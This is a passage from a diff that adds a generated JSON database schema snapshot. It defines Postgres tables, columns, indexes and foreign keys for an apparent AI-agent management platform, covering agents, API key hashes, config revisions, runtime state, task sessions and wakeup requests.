+        "promotion_expires_at": {
+          "name": "promotion_expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "bound_at": {
+          "name": "bound_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "finished_at": {
+          "name": "finished_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "failure_reason": {
+          "name": "failure_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "adapter_auth_sessions_company_status_idx": {
+          "name": "adapter_auth_sessions_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "adapter_auth_sessions_company_owner_adapter_active_uq": {
+          "name": "adapter_auth_sessions_company_owner_adapter_active_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "started_by_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "adapter_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"adapter_auth_sessions\".\"status\" IN ('starting', 'waiting_for_user', 'promoting', 'awaiting_code', 'submitting')",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "adapter_auth_sessions_public_session_id_uq": {
+          "name": "adapter_auth_sessions_public_session_id_uq",
+          "columns": [
+            {
+              "expression": "public_session_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "adapter_auth_sessions_environment_idx": {
+          "name": "adapter_auth_sessions_environment_idx",
+          "columns": [
+            {
+              "expression": "environment_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "adapter_auth_sessions_expires_idx": {
+          "name": "adapter_auth_sessions_expires_idx",
+          "columns": [
+            {
+              "expression": "expires_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "adapter_auth_sessions_provider_lease_idx": {
+          "name": "adapter_auth_sessions_provider_lease_idx",
+          "columns": [
+            {
+              "expression": "provider_lease_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "adapter_auth_sessions_company_id_companies_id_fk": {
+          "name": "adapter_auth_sessions_company_id_companies_id_fk",
+          "tableFrom": "adapter_auth_sessions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "adapter_auth_sessions_environment_id_environments_id_fk": {
+          "name": "adapter_auth_sessions_environment_id_environments_id_fk",
+          "tableFrom": "adapter_auth_sessions",
+          "tableTo": "environments",
+          "columnsFrom": [
+            "environment_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.agent_api_keys": {
+      "name": "agent_api_keys",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "key_hash": {
+          "name": "key_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "responsible_user_id": {
+          "name": "responsible_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "scope_config": {
+          "name": "scope_config",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_used_at": {
+          "name": "last_used_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "revoked_at": {
+          "name": "revoked_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "agent_api_keys_key_hash_idx": {
+          "name": "agent_api_keys_key_hash_idx",
+          "columns": [
+            {
+              "expression": "key_hash",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "agent_api_keys_company_agent_idx": {
+          "name": "agent_api_keys_company_agent_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "agent_api_keys_agent_id_agents_id_fk": {
+          "name": "agent_api_keys_agent_id_agents_id_fk",
+          "tableFrom": "agent_api_keys",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "agent_api_keys_company_id_companies_id_fk": {
+          "name": "agent_api_keys_company_id_companies_id_fk",
+          "tableFrom": "agent_api_keys",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.agent_config_revisions": {
+      "name": "agent_config_revisions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "source": {
+          "name": "source",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'patch'"
+        },
+        "rolled_back_from_revision_id": {
+          "name": "rolled_back_from_revision_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "changed_keys": {
+          "name": "changed_keys",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "before_config": {
+          "name": "before_config",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "after_config": {
+          "name": "after_config",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "agent_config_revisions_company_agent_created_idx": {
+          "name": "agent_config_revisions_company_agent_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "agent_config_revisions_agent_created_idx": {
+          "name": "agent_config_revisions_agent_created_idx",
+          "columns": [
+            {
+              "expression": "agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "agent_config_revisions_company_id_companies_id_fk": {
+          "name": "agent_config_revisions_company_id_companies_id_fk",
+          "tableFrom": "agent_config_revisions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "agent_config_revisions_agent_id_agents_id_fk": {
+          "name": "agent_config_revisions_agent_id_agents_id_fk",
+          "tableFrom": "agent_config_revisions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "agent_config_revisions_created_by_agent_id_agents_id_fk": {
+          "name": "agent_config_revisions_created_by_agent_id_agents_id_fk",
+          "tableFrom": "agent_config_revisions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.agent_memberships": {
+      "name": "agent_memberships",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "user_id": {
+          "name": "user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "state": {
+          "name": "state",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'joined'"
+        },
+        "starred_at": {
+          "name": "starred_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "agent_memberships_company_user_idx": {
+          "name": "agent_memberships_company_user_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "agent_memberships_company_user_starred_idx": {
+          "name": "agent_memberships_company_user_starred_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "starred_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "agent_memberships_agent_idx": {
+          "name": "agent_memberships_agent_idx",
+          "columns": [
+            {
+              "expression": "agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "agent_memberships_company_user_agent_uq": {
+          "name": "agent_memberships_company_user_agent_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "agent_memberships_company_id_companies_id_fk": {
+          "name": "agent_memberships_company_id_companies_id_fk",
+          "tableFrom": "agent_memberships",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "agent_memberships_agent_id_agents_id_fk": {
+          "name": "agent_memberships_agent_id_agents_id_fk",
+          "tableFrom": "agent_memberships",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.agent_runtime_state": {
+      "name": "agent_runtime_state",
+      "schema": "",
+      "columns": {
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "adapter_type": {
+          "name": "adapter_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "session_id": {
+          "name": "session_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "state_json": {
+          "name": "state_json",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "last_run_id": {
+          "name": "last_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_run_status": {
+          "name": "last_run_status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "total_input_tokens": {
+          "name": "total_input_tokens",
+          "type": "bigint",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "total_output_tokens": {
+          "name": "total_output_tokens",
+          "type": "bigint",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "total_cached_input_tokens": {
+          "name": "total_cached_input_tokens",
+          "type": "bigint",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "total_cost_cents": {
+          "name": "total_cost_cents",
+          "type": "bigint",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "last_error": {
+          "name": "last_error",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "agent_runtime_state_company_agent_idx": {
+          "name": "agent_runtime_state_company_agent_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "agent_runtime_state_company_updated_idx": {
+          "name": "agent_runtime_state_company_updated_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "updated_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "agent_runtime_state_agent_id_agents_id_fk": {
+          "name": "agent_runtime_state_agent_id_agents_id_fk",
+          "tableFrom": "agent_runtime_state",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "agent_runtime_state_company_id_companies_id_fk": {
+          "name": "agent_runtime_state_company_id_companies_id_fk",
+          "tableFrom": "agent_runtime_state",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.agent_task_sessions": {
+      "name": "agent_task_sessions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "adapter_type": {
+          "name": "adapter_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "task_key": {
+          "name": "task_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "session_params_json": {
+          "name": "session_params_json",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "session_display_id": {
+          "name": "session_display_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_run_id": {
+          "name": "last_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_error": {
+          "name": "last_error",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "agent_task_sessions_company_agent_adapter_task_uniq": {
+          "name": "agent_task_sessions_company_agent_adapter_task_uniq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "adapter_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "task_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "agent_task_sessions_company_agent_updated_idx": {
+          "name": "agent_task_sessions_company_agent_updated_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "updated_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "agent_task_sessions_company_task_updated_idx": {
+          "name": "agent_task_sessions_company_task_updated_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "task_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "updated_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "agent_task_sessions_company_id_companies_id_fk": {
+          "name": "agent_task_sessions_company_id_companies_id_fk",
+          "tableFrom": "agent_task_sessions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "agent_task_sessions_agent_id_agents_id_fk": {
+          "name": "agent_task_sessions_agent_id_agents_id_fk",
+          "tableFrom": "agent_task_sessions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "agent_task_sessions_last_run_id_heartbeat_runs_id_fk": {
+          "name": "agent_task_sessions_last_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "agent_task_sessions",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "last_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.agent_wakeup_requests": {
+      "name": "agent_wakeup_requests",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source": {
+          "name": "source",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "trigger_detail": {
+          "name": "trigger_detail",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "reason": {
+          "name": "reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "payload": {
+          "name": "payload",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'queued'"
+        },
+        "coalesced_count": {
+          "name": "coalesced_count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "requested_by_actor_type": {
+          "name": "requested_by_actor_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "requested_by_actor_id": {
+          "name": "requested_by_actor_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "idempotency_key": {
+          "name": "idempotency_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "run_id": {
+          "name": "run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "requested_at": {
+          "name": "requested_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "claimed_at": {
+          "name": "claimed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "finished_at": {
+          "name": "finished_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "error": {
+          "name": "error",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "agent_wakeup_requests_company_agent_status_idx": {
+          "name": "agent_wakeup_requests_company_agent_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "agent_wakeup_requests_company_requested_idx": {
+          "name": "agent_wakeup_requests_company_requested_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "requested_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "agent_wakeup_requests_agent_requested_idx": {
+          "name": "agent_wakeup_requests_agent_requested_idx",
+          "columns": [
+            {
+              "expression": "agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "requested_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "agent_wakeup_requests_review_path_recovery_idempotency_uq": {
+          "name": "agent_wakeup_requests_review_path_recovery_idempotency_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "idempotency_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"agent_wakeup_requests\".\"idempotency_key\" LIKE 'issue_review_path_lost:%' AND \"agent_wakeup_requests\".\"status\" <> 'skipped'",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "agent_wakeup_requests_company_payload_issue_idx": {
+          "name": "agent_wakeup_requests_company_payload_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "(\"payload\" ->> 'issueId')",
+              "asc": true,
+              "isExpression": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "agent_wakeup_requests_company_id_companies_id_fk": {
+          "name": "agent_wakeup_requests_company_id_companies_id_fk",
+          "tableFrom": "agent_wakeup_requests",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "agent_wakeup_requests_agent_id_agents_id_fk": {
+          "name": "agent_wakeup_requests_agent_id_agents_id_fk",
+          "tableFrom": "agent_wakeup_requests",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.agents": {
+      "name": "agents",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "role": {
+          "name": "role",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'general'"
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "icon": {
+          "name": "icon",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'idle'"
+        },
+        "reports_to": {
+          "name": "reports_to",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "capabilities": {
+          "name": "capabilities",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "adapter_type": {
+          "name": "adapter_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'process'"
+        },
+        "adapter_config": {
+          "name": "adapter_config",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "runtime_config": {
+          "name": "runtime_config",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "default_environment_id": {
+          "name": "default_environment_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "budget_monthly_cents": {
+          "name": "budget_monthly_cents",
+          "type": "integer",
+          "primaryKey": false,
